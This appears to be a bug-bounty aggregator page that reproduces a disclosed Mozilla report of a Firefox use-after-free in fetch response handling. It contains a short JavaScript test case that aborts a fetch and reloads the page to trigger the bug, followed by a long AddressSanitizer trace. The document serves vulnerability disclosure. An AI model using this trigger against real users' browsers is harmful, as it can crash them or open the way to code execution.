Skip to content
Memory corruption Disclosed report Advanced

Fetch - Use After Free with Response

A use-after-free occurs in Firefox when a fetch response is aborted and the page reloads, causing the cycle collector to access freed memory. An attacker could potentially exploit this to crash the browser or execute arbitrary code.

Looben Yang Follow

Originally disclosed on Mozilla

Critical View original
  • Fixed in 31 days
  • Paid in 31 days
  • Disclosed after 31 days

Created attachment 9077645 UAF_Response_PoC.js

Reproduction test case (full server code in attached file UAF_Response_PoC.js):

<script>
var abortCtl = new AbortController();
fetch("./nofile.html", {signal:abortCtl.signal}).then(function(res){res.body;}).catch(function(e){});
setInterval(function(){abortCtl.abort();}, 5);
setTimeout(function(){location.reload();},100);
</script>

Steps to reproduce:

  1. Run server side script UAF_Response_PoC.js with Node.js (node UAF_Response_PoC.js).

  2. Enter http://localhost:12345 in Firefox asan build.

  3. ASAN reports a Use After Free with Response:

    ================================================================= ==6345==ERROR: AddressSanitizer: heap-use-after-free on address 0x60e00005b820 at pc 0x7fc7760d88c1 bp 0x7fff942f8bf0 sp 0x7fff942f8be8 READ of size 8 at 0x60e00005b820 thread T0 (Web Content) #0 0x7fc7760d88c0 in CanonicalizeXPCOMParticipant /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:848:8

Firefox version: 69.0a1 (2019-07-07) (64-bit) OS: Ubuntu 18.04 LTS 64bit

Stack trace:

=================================================================
==6345==ERROR: AddressSanitizer: heap-use-after-free on address 0x60e00005b820 at pc 0x7fc7760d88c1 bp 0x7fff942f8bf0 sp 0x7fff942f8be8
READ of size 8 at 0x60e00005b820 thread T0 (Web Content)
    #0 0x7fc7760d88c0 in CanonicalizeXPCOMParticipant /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:848:8
    #1 0x7fc7760d88c0 in CCGraphBuilder::NoteXPCOMChild(nsISupports*) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2155
    #2 0x7fc77609ac34 in mozilla::CycleCollectedJSRuntime::TraverseGCThing(mozilla::CycleCollectedJSRuntime::TraverseSelect, JS::GCCellPtr, nsCycleCollectionTraversalCallback&) /builds/worker/workspace/build/src/xpcom/base/CycleCollectedJSRuntime.cpp:705:5
    #3 0x7fc77609a7a7 in mozilla::JSGCThingParticipant::TraverseNative(void*, nsCycleCollectionTraversalCallback&) /builds/worker/workspace/build/src/xpcom/base/CycleCollectedJSRuntime.cpp:363:12
    #4 0x7fc7760d628a in TraverseNativeAndJS /builds/worker/workspace/build/src/xpcom/base/nsCycleCollectionParticipant.h:126:19
    #5 0x7fc7760d628a in CCGraphBuilder::BuildGraph(js::SliceBudget&) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2061
    #6 0x7fc7760dea84 in nsCycleCollector::MarkRoots(js::SliceBudget&) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2672:33
    #7 0x7fc7760e599c in nsCycleCollector::Collect(ccType, js::SliceBudget&, nsICycleCollectorListener*, bool) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:3417:9
    #8 0x7fc7760e9834 in nsCycleCollector_collectSlice(js::SliceBudget&, bool) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:3962:21
    #9 0x7fc779b42be4 in nsJSContext::RunCycleCollectorSlice(mozilla::TimeStamp) /builds/worker/workspace/build/src/dom/base/nsJSEnvironment.cpp:1479:3
    #10 0x7fc779b43a02 in ICCRunnerFired(mozilla::TimeStamp) /builds/worker/workspace/build/src/dom/base/nsJSEnvironment.cpp:1530:3
    #11 0x7fc776260c50 in operator() /builds/worker/workspace/build/src/clang/bin/../lib/gcc/x86_64-unknown-linux-gnu/6.4.0/../../../../include/c++/6.4.0/functional:2127:14
    #12 0x7fc776260c50 in mozilla::IdleTaskRunner::Run() /builds/worker/workspace/build/src/xpcom/threads/IdleTaskRunner.cpp:58
    #13 0x7fc7762619cd in mozilla::TimedOut(nsITimer*, void*) /builds/worker/workspace/build/src/xpcom/threads/IdleTaskRunner.cpp:78:13
    #14 0x7fc77628d06b in nsTimerImpl::Fire(int) /builds/worker/workspace/build/src/xpcom/threads/nsTimerImpl.cpp:561:7
    #15 0x7fc77628c8e9 in nsTimerEvent::Run() /builds/worker/workspace/build/src/xpcom/threads/TimerThread.cpp:260:11
    #16 0x7fc77626dd71 in mozilla::SchedulerGroup::Runnable::Run() /builds/worker/workspace/build/src/xpcom/threads/SchedulerGroup.cpp:295:32
    #17 0x7fc77629fad0 in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1225:14
    #18 0x7fc7762a5ee8 in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:486:10
    #19 0x7fc777372cda in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /builds/worker/workspace/build/src/ipc/glue/MessagePump.cpp:88:21
    #20 0x7fc7772a1d22 in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:315:10
    #21 0x7fc7772a1d22 in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:308
    #22 0x7fc7772a1d22 in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:290
    #23 0x7fc77e897ac9 in nsBaseAppShell::Run() /builds/worker/workspace/build/src/widget/nsBaseAppShell.cpp:137:27
    #24 0x7fc782524f4f in XRE_RunAppShell() /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:919:20
    #25 0x7fc7772a1d22 in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:315:10
    #26 0x7fc7772a1d22 in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:308
    #27 0x7fc7772a1d22 in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:290
    #28 0x7fc7825247eb in XRE_InitChildProcess(int, char**, XREChildData const*) /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:754:34
    #29 0x5581a88a4802 in content_process_main /builds/worker/workspace/build/src/browser/app/../../ipc/contentproc/plugin-container.cpp:56:28
    #30 0x5581a88a4802 in main /builds/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:267
    #31 0x7fc79622eb96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
    #32 0x5581a87c5db8 in _start (/home/thecoder/FirefoxBuilds/firefox/firefox+0x40db8)

0x60e00005b820 is located 0 bytes inside of 160-byte region [0x60e00005b820,0x60e00005b8c0)
freed by thread T0 (Web Content) here:
    #0 0x5581a8871442 in free /builds/worker/workspace/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:124:3
    #1 0x7fc7760ddeb6 in SnowWhiteKiller::~SnowWhiteKiller() /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2416:7
    #2 0x7fc7760dcb9e in nsCycleCollector::FreeSnowWhite(bool) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2609:3
    #3 0x7fc7760e6358 in nsCycleCollector::BeginCollection(ccType, nsICycleCollectorListener*) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:3584:3
    #4 0x7fc7760e5940 in nsCycleCollector::Collect(ccType, js::SliceBudget&, nsICycleCollectorListener*, bool) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:3413:9
    #5 0x7fc7760e9834 in nsCycleCollector_collectSlice(js::SliceBudget&, bool) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:3962:21
    #6 0x7fc779b42c81 in nsJSContext::RunCycleCollectorSlice(mozilla::TimeStamp) /builds/worker/workspace/build/src/dom/base/nsJSEnvironment.cpp:1479:3
    #7 0x7fc779b479ac in CCRunnerFired(mozilla::TimeStamp) /builds/worker/workspace/build/src/dom/base/nsJSEnvironment.cpp:1869:7
    #8 0x7fc776260c50 in operator() /builds/worker/workspace/build/src/clang/bin/../lib/gcc/x86_64-unknown-linux-gnu/6.4.0/../../../../include/c++/6.4.0/functional:2127:14
    #9 0x7fc776260c50 in mozilla::IdleTaskRunner::Run() /builds/worker/workspace/build/src/xpcom/threads/IdleTaskRunner.cpp:58
    #10 0x7fc77629fad0 in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1225:14
    #11 0x7fc7762a5ee8 in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:486:10
    #12 0x7fc777372cda in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /builds/worker/workspace/build/src/ipc/glue/MessagePump.cpp:88:21
    #13 0x7fc7772a1d22 in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:315:10
    #14 0x7fc7772a1d22 in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:308
    #15 0x7fc7772a1d22 in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:290
    #16 0x7fc77e897ac9 in nsBaseAppShell::Run() /builds/worker/workspace/build/src/widget/nsBaseAppShell.cpp:137:27
    #17 0x7fc782524f4f in XRE_RunAppShell() /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:919:20
    #18 0x7fc7772a1d22 in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:315:10
    #19 0x7fc7772a1d22 in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:308
    #20 0x7fc7772a1d22 in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:290
    #21 0x7fc7825247eb in XRE_InitChildProcess(int, char**, XREChildData const*) /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:754:34
    #22 0x5581a88a4802 in content_process_main /builds/worker/workspace/build/src/browser/app/../../ipc/contentproc/plugin-container.cpp:56:28
    #23 0x5581a88a4802 in main /builds/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:267
    #24 0x7fc79622eb96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310

previously allocated by thread T0 (Web Content) here:
    #0 0x5581a88717c3 in __interceptor_malloc /builds/worker/workspace/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:146:3
    #1 0x5581a88a647d in moz_xmalloc /builds/worker/workspace/build/src/memory/mozalloc/mozalloc.cpp:52:15
    #2 0x7fc77c966453 in operator new /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/cxxalloc.h:33:10
    #3 0x7fc77c966453 in mozilla::dom::MainThreadFetchResolver::OnResponseAvailableInternal(mozilla::dom::InternalResponse*) /builds/worker/workspace/build/src/dom/fetch/Fetch.cpp:579
    #4 0x7fc77c97a0b5 in OnResponseAvailable /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/FetchDriver.h:55:5
    #5 0x7fc77c97a0b5 in mozilla::dom::FetchDriver::BeginAndGetFilteredResponse(mozilla::dom::InternalResponse*, bool) /builds/worker/workspace/build/src/dom/fetch/FetchDriver.cpp:782
    #6 0x7fc77c971431 in mozilla::dom::FetchDriver::OnStartRequest(nsIRequest*) /builds/worker/workspace/build/src/dom/fetch/FetchDriver.cpp:1048:15
    #7 0x7fc776eda30e in nsCORSListenerProxy::OnStartRequest(nsIRequest*) /builds/worker/workspace/build/src/netwerk/protocol/http/nsCORSListenerProxy.cpp:480:20
    #8 0x7fc776e4c489 in mozilla::net::HttpChannelChild::DoOnStartRequest(nsIRequest*, nsISupports*) /builds/worker/workspace/build/src/netwerk/protocol/http/HttpChannelChild.cpp:683:20
    #9 0x7fc776e56bf2 in mozilla::net::HttpChannelChild::OnStartRequest(nsresult const&, mozilla::net::nsHttpResponseHead const&, bool const&, mozilla::net::nsHttpHeaderArray const&, mozilla::net::ParentLoadInfoForwarderArgs const&, bool const&, bool const&, bool const&, unsigned long const&, int const&, unsigned int const&, nsTString<char> const&, nsTString<char> const&, mozilla::net::NetAddr const&, mozilla::net::NetAddr const&, unsigned int const&, nsTString<char> const&, long const&, bool const&, bool const&, bool const&, mozilla::net::ResourceTimingStruct const&, bool const&) /builds/worker/workspace/build/src/netwerk/protocol/http/HttpChannelChild.cpp:608:3
    #10 0x7fc776ef72c5 in mozilla::net::StartRequestEvent::Run() /builds/worker/workspace/build/src/netwerk/protocol/http/HttpChannelChild.cpp:427:13
    #11 0x7fc776d189a1 in mozilla::net::ChannelEventQueue::RunOrEnqueue(mozilla::net::ChannelEvent*, bool) /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/net/ChannelEventQueue.h:210:10
    #12 0x7fc776e54fda in mozilla::net::HttpChannelChild::RecvOnStartRequest(nsresult const&, mozilla::net::nsHttpResponseHead const&, bool const&, mozilla::net::nsHttpHeaderArray const&, mozilla::net::ParentLoadInfoForwarderArgs const&, bool const&, bool const&, bool const&, unsigned long const&, int const&, unsigned int const&, nsTString<char> const&, nsTString<char> const&, mozilla::net::NetAddr const&, mozilla::net::NetAddr const&, short const&, unsigned int const&, nsTString<char> const&, long const&, bool const&, bool const&, bool const&, mozilla::net::ResourceTimingStruct const&, bool const&) /builds/worker/workspace/build/src/netwerk/protocol/http/HttpChannelChild.cpp:489:12
    #13 0x7fc777740cdb in mozilla::net::PHttpChannelChild::OnMessageReceived(IPC::Message const&) /builds/worker/workspace/build/src/obj-firefox/ipc/ipdl/PHttpChannelChild.cpp:859:28
    #14 0x7fc777521e99 in mozilla::dom::PContentChild::OnMessageReceived(IPC::Message const&) /builds/worker/workspace/build/src/obj-firefox/ipc/ipdl/PContentChild.cpp:7197:32
    #15 0x7fc77736b9c0 in mozilla::ipc::MessageChannel::DispatchAsyncMessage(mozilla::ipc::ActorLifecycleProxy*, IPC::Message const&) /builds/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:2158:25
    #16 0x7fc777367e1d in mozilla::ipc::MessageChannel::DispatchMessage(IPC::Message&&) /builds/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:2082:9
    #17 0x7fc777369a6b in mozilla::ipc::MessageChannel::RunMessage(mozilla::ipc::MessageChannel::MessageTask&) /builds/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:1939:3
    #18 0x7fc777369fd7 in mozilla::ipc::MessageChannel::MessageTask::Run() /builds/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:1970:13
    #19 0x7fc77626dd71 in mozilla::SchedulerGroup::Runnable::Run() /builds/worker/workspace/build/src/xpcom/threads/SchedulerGroup.cpp:295:32
    #20 0x7fc77629fad0 in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1225:14
    #21 0x7fc7762a5ee8 in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:486:10
    #22 0x7fc777372cda in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /builds/worker/workspace/build/src/ipc/glue/MessagePump.cpp:88:21
    #23 0x7fc7772a1d22 in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:315:10
    #24 0x7fc7772a1d22 in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:308
    #25 0x7fc7772a1d22 in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:290
    #26 0x7fc77e897ac9 in nsBaseAppShell::Run() /builds/worker/workspace/build/src/widget/nsBaseAppShell.cpp:137:27
    #27 0x7fc782524f4f in XRE_RunAppShell() /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:919:20
    #28 0x7fc7772a1d22 in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:315:10
    #29 0x7fc7772a1d22 in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:308
    #30 0x7fc7772a1d22 in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:290
    #31 0x7fc7825247eb in XRE_InitChildProcess(int, char**, XREChildData const*) /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:754:34
    #32 0x5581a88a4802 in content_process_main /builds/worker/workspace/build/src/browser/app/../../ipc/contentproc/plugin-container.cpp:56:28
    #33 0x5581a88a4802 in main /builds/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:267
    #34 0x7fc79622eb96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310

SUMMARY: AddressSanitizer: heap-use-after-free /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:848:8 in CanonicalizeXPCOMParticipant
Shadow bytes around the buggy address:
  0x0c1c800036b0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c1c800036c0: fd fd fd fa fa fa fa fa fa fa fa fa fd fd fd fd
  0x0c1c800036d0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fa
  0x0c1c800036e0: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
  0x0c1c800036f0: fd fd fd fd fd fd fd fd fd fd fd fa fa fa fa fa
=>0x0c1c80003700: fa fa fa fa[fd]fd fd fd fd fd fd fd fd fd fd fd
  0x0c1c80003710: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa
  0x0c1c80003720: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c1c80003730: 00 00 00 00 fa fa fa fa fa fa fa fa 00 00 00 00
  0x0c1c80003740: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c1c80003750: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==6345==ABORTING

The original report as published on Mozilla's Bugzilla, by Looben Yang. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

What the attacker needed

Victim visits a malicious page; Firefox ASAN build (for detection)

How it was found

  1. Run the provided Node.js server script.
  2. Open the local server address in a Firefox ASAN build.
  3. Observe the AddressSanitizer heap-use-after-free report.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A use-after-free is a memory bug where a program keeps using memory after it has been freed, which can lead to crashes or let an attacker run their own code. Here, a web page repeatedly cancels a network request and then reloads, confusing Firefox's memory cleanup and causing it to read freed memory.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More by Looben Yang

View all

50 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.